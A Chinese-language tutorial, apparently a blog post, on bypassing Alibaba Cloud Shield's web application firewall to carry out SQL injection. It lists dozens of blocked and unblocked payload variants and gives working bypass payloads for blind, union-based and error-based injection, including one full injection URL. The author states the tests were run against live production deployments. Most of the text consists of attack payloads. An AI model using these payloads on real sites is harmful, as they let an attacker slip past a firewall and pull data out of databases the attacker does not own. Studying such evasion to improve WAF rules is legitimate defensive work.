0x00 矛与云盾

由于没有阿里云盾的试验环境,以下操作都在线上测试,总的来说阿里云还是比较不好绕的,因为对于/*/ /!*/ 他是强过滤,根本不能用,我们先来测试简单语句and 1=1 拦截

&& 1=1 不拦截

or 1=1 拦截

|| 1=1 不拦截

and 1 不拦截

and 1= 拦截

and = 拦截

and 1> 不拦截

and 1>1 拦截

and 1>a 拦截

and 1>! 不拦截通过简单的测试我们发现,他对 && || 过滤还是不是很严 ,and的话是不让用直接接入=号的,综合一下前面的知识,我们可以想到几个方法。

  1. 不用and 和 or
  2. 用and 在两边接入干扰字符 and ~1=1 不拦截

and!!!1=1 不拦截

and 1-1 不拦截

and true 不拦截

and 1 不拦截# 0x01 注入

  1. 盲注 and substr(1,1,1)=’r’ 拦截

    && substr(1,1,1)=’r’ 不拦截

    and!!!substr(1,1,1)=’r’ 不拦截

    and!!!substr((select),1,1)=’r’ 不拦截

    and!!!substr((select a()),1,1)=’r’ 不拦截

    and!!!substr((select user()),1,1)=’r’ 拦截 可以知道select 后面加入 常见函数会被拦截,所以我们可以 使用一定的东西来分割他 但是/*/ 和/!*/ 是不能用的,所以最后想到 就是 注释符号and!!!substr((select user— (1)%0a()),1,1)=’r’ 不拦截 edu 测试一会儿发现他对某些关键词拦截还是很严格的,绕过应该是可以的,一些生僻的函数加点东西 他就不会拦截and!!!substr((select @@datadir),1,1)=’D’— + 拦截 yq and!!!substr((select{x @@datadir}),1,1)=’D’ 不拦截 and!!!substr((select{x @@datadir}),1,1)=’D’— + 不拦截这里比较难的是 from的绕过,虽然最后绕过了,但是感觉不是很完美from 不拦截

from user 不拦截

select from user 拦截 edu

select all from user 拦截

select from(user) 拦截

select from{user} 拦截

select from[user] 不拦截

select from [user] 拦截

最后想到web+mysql好像编码的问题 也能让解析我们的中文字符 但是这种对环境要求比较大and!!!substr((select{x username}from(users) limit 0,1),1,1)=’D’

http://127.0.0.1/sqli/Less-1/?id=1%27 and!!!substr((select username from【users】 limit 0,1),3,1)=’m’— +

  1. 联合 前面测试发现 内联注释不能使用了,只能靠括号之类的来干扰了union select 不拦截

union select 1 拦截

union(select 1) 不拦截

union(select 1,2,3) 不拦截

  1. 报错 and updatexml(1,select user%0a(),1) 2-4-矛与云盾 - 图1Figure : 2-4-矛与云盾 - 图2Figure : 阿里云的需要深度探索才能绕过,规则还是比较困难的,相对于安全狗,因为edu 和yq的云盾好像版本不同,绕过的手法也要不一样,具体思路就是这样的,由于我直接在官网测试的,所以可能有点问题。# 0x02 文末

    本文如有错误,请及时提醒,避免误导他人

  • 2-4-矛与云盾 - 图3author:404